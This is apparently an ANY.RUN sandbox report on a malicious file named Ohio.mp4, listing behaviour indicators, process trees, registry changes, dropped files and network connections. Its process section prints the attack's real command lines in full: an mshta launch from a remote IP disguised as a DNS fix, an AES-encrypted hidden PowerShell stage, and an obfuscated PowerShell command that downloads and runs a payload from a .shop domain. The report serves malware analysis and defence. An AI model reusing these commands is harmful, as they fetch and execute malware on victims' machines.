File name:

Ohio.mp4

Full analysis: https://app.any.run/tasks/d66f6917-2fa0-4a97-b85c-3704761c14fe
Verdict: Malicious activity
Analysis date: February 07, 2025, 15:25:02
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
fody
Indicators:
MIME: application/octet-stream
File info: data
MD5:

4E58AE2DDBC2A6CBA41FC70AA6B5C1E3

SHA1:

A470A804AA41125E33C5C070883A1452EEEF3EA2

SHA256:

D1E6C627F96EBE45EF06713FBC2B8EABC48115B99A82205C04914AFF5D7CB3DE

SSDEEP:

12288:j72uuRo/ggF0vTZoDEH7LtbtU0HiN3UbvFmkARdU+Eo0Ql560dwSObga8fAZkPKM:b

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6316)
      • powershell.exe (PID: 6704)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6316)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 6204)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6704)

    • Changes powershell execution policy (Bypass)

      • powershell.exe (PID: 6316)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 6704)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 6204)
      • powershell.exe (PID: 6316)

    • Executes script without checking the security policy

      • powershell.exe (PID: 6316)
      • powershell.exe (PID: 6704)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 6204)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 6204)
      • powershell.exe (PID: 6316)

    • Starts a new process with hidden mode (POWERSHELL)

      • powershell.exe (PID: 6316)

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 6704)

  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6204)

    • Checks proxy server information

      • mshta.exe (PID: 6204)
      • powershell.exe (PID: 6704)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6316)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6316)

    • Creates or changes the value of an item property via Powershell

      • powershell.exe (PID: 6316)

    • Detects Fody packer (YARA)

      • powershell.exe (PID: 6704)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6704)

    • Returns hidden items found within a container (POWERSHELL)

      • conhost.exe (PID: 6712)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
129
Monitored processes
5
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start mshta.exe powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
6204"C:\Windows\System32\mshta.exe" http://83.217.208.130/xfiles/Ohio.mp4 # Microsoft Windows: Fix Internet DNS Service reconnectC:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
6316"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function NPmFjuqW($SunqQLgp){-split($SunqQLgp -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$aMDtV=NPmFjuqW('FFAC95C8160DAE3E32E664423057341D6844F1D104385EE5F1CE21FC08524F0095302D71A3B774ADE21DBD23621F1511694E9C24C1F574DBC312FEDBABD222D0AB253F41A54FE1CFE4AF3F073DD2CC2CA5DEFB9E186D1E535EC3C4DCF46311F6D28EC4BD37DBC9F5CFFFEBBC5034DF99FA2FB2524F355EF4B81B124F989C5F61A618D2637C368E5C472F63B62EEE1CE7728C0932759927597095CD3FB3FD76FF7B30EB0AAA3CCAF5E011667404AF82E2FC720AD12865B62404B5812841FF21BC5D9D0F67839479D841C8BE5B5F6106B81B364F470BE4EBCF6DC33C9880060F227F5B4F00D2588F51A734CCF68B521C29310B708E484BA2855A30D8C35C8C17F96961A203C03AE31DEE3B14F423A5BC120BF2BD2382A7B144C6A7AFD359AF1835C02367D7A4719C527A86B448D671379CD37E3E2EFB110311A3C835D18CE6AB4229EDB66BFB2566AC3D49DE776EE255BA07D9F9E8D2830203ADFAD92CC47561A0240ACDA3D29D46BD93B6B671E3F179ACA84692DBAEA5EB90212E3E6C99BED75322D5AE757F0EFBCAAB9BFE133F02F8BE833AD941867DADF38940B6E79861FFCB2B436FDEEAD0B41A1E31687A6B6B6350EB7B01CB7898FC3A1EFB027155ED83A19CAF845CD805ED49E716F65EF196D1217A3576BDF9F0CB6225DEEAC9CED4BBD2AB0F74CE9E84A1BD97D8632B34F94759B1C98ECD0BF6E71E2DE31EE5837A801AA6B83FF11D0839611BDF6E2E4A9D5FDA47755A724DD10D3725DD130746417A25AF5EEA5772F38F98C28C39C68F20B6DB22F6647EC54481F8AE6A705BC04418B945C71F88C40B481FB3C5FA670F6BD3C8DE96EB3426C8ED81910C61E34E465125EDAC726A0C6EB67FBAC1006FD28BCEBE187C4C1EC9865EA5B1F00EDC7FB7DE0A7391B3286D57EED24460496459B6635189A896FED83CCEC4E1555A1D1DBA2AC727D710EF317F2E9B778D1791632F0411382D2FEF62E5E5DAF96CB132C2550612DF16B2E0C296513B3999B99471A8377E6A67779088A9E999B6267BF31537EEF568E1F565F8ABDF8DEED0564BE00D61A3E829549F21D37B1F0F0A66337A36AC4B4DEA8604B452801ABC6C006EB5B6600FF706D376D339BFF81B3A1744571FDF08028DE3729798959F0B9B2FB537A6265FB378AC17062CF75A730C22FED25F71C93CB5B06E7515CE01738775BD926B73B9370268763BCAA43177156CCF97464BC9CF894318A38EEBCA5192D9BF28A228E4505D25EF03E13043CA6B251D9D1BE3296482C16B137D643BE30219C87B41471C40C614515DEB0CC536816B388338A38E435C23429B29C6145CDEAD65E3542929');$epht=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((NPmFjuqW('616D69546F764154716653685445596C')),[byte[]]::new(16)).TransformFinalBlock($aMDtV,0,$aMDtV.Length)); & $epht.Substring(0,3) $epht.Substring(3)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6324\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6704"C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command SI Variable:/eR ([Net.WebClient]::New());SI Variable:1VI 'https://scionoutmatchsmoked.shop/b313d4a4588bd2e7bc9ece877caba58a.png';.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|Get-Member|?{$_.Name -ilike '*d'}).Name)($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name -ilike '*Com*e'}).Name)('*-Ex*n',1,$TRUE),[System.Management.Automation.CommandTypes]::Cmdlet)(GV eR).Value.(((([Net.WebClient]::New()|Get-Member)|?{$_.Name -ilike '*nl*g'}).Name))((Get-ChildItem Variable:/1VI).Value) C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
6712\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
10 474
Read events
10 457
Write events
17
Delete events
0

Modification events

(PID) Process:(6204) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6204) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6204) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(6704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(6704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(6704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(6704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
0
Suspicious files
3
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
6704powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_g5t2lhtb.qas.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6704powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ufpxouhw.vkm.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6704powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
6316powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4j1vi120.xid.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6316powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lsgqwcr5.3m4.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6316powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:E98B66C9D73C3CFAF557C0C4070B6795
SHA256:7D43ADAD70A4AF26622D5A817612B0978226471537C3A7F560770166094C21B5
6204mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\Ohio[1].mp4binary
MD5:4E58AE2DDBC2A6CBA41FC70AA6B5C1E3
SHA256:D1E6C627F96EBE45EF06713FBC2B8EABC48115B99A82205C04914AFF5D7CB3DE
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
33
DNS requests
18
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.48.23.153:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
23.48.23.153:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
2.23.9.218:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
2.23.9.218:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6204
mshta.exe
GET
200
83.217.208.130:80
http://83.217.208.130/xfiles/Ohio.mp4
unknown
—
—
unknown
—
—
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
4504
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
4504
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
4992
backgroundTaskHost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
23.48.23.153:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
23.48.23.153:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
2.23.9.218:80
www.microsoft.com
AKAMAI-AS
CZ
whitelisted
—
—
2.23.9.218:80
www.microsoft.com
AKAMAI-AS
CZ
whitelisted
5064
SearchApp.exe
2.21.65.153:443
www.bing.com
Akamai International B.V.
NL
whitelisted
—
—
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
6204
mshta.exe
83.217.208.130:80
—
OOO Trivon Networks
RU
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 216.58.206.46
whitelisted
crl.microsoft.com
  • 23.48.23.153
  • 23.48.23.146
  • 23.48.23.145
  • 23.48.23.150
  • 23.48.23.144
  • 23.48.23.140
  • 23.48.23.155
  • 23.48.23.148
  • 23.48.23.156
whitelisted
www.microsoft.com
  • 2.23.9.218
  • 95.101.149.131
whitelisted
www.bing.com
  • 2.21.65.153
  • 2.21.65.154
  • 2.21.65.132
whitelisted
ocsp.digicert.com
  • 2.23.77.188
  • 2.17.190.73
whitelisted
go.microsoft.com
  • 23.213.166.81
whitelisted
login.live.com
  • 20.190.160.130
  • 20.190.160.3
  • 20.190.160.66
  • 20.190.160.2
  • 20.190.160.131
  • 20.190.160.65
  • 40.126.32.138
  • 20.190.160.14
whitelisted
scionoutmatchsmoked.shop
  • 104.21.81.174
  • 172.67.163.41
unknown
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Ohio.mp4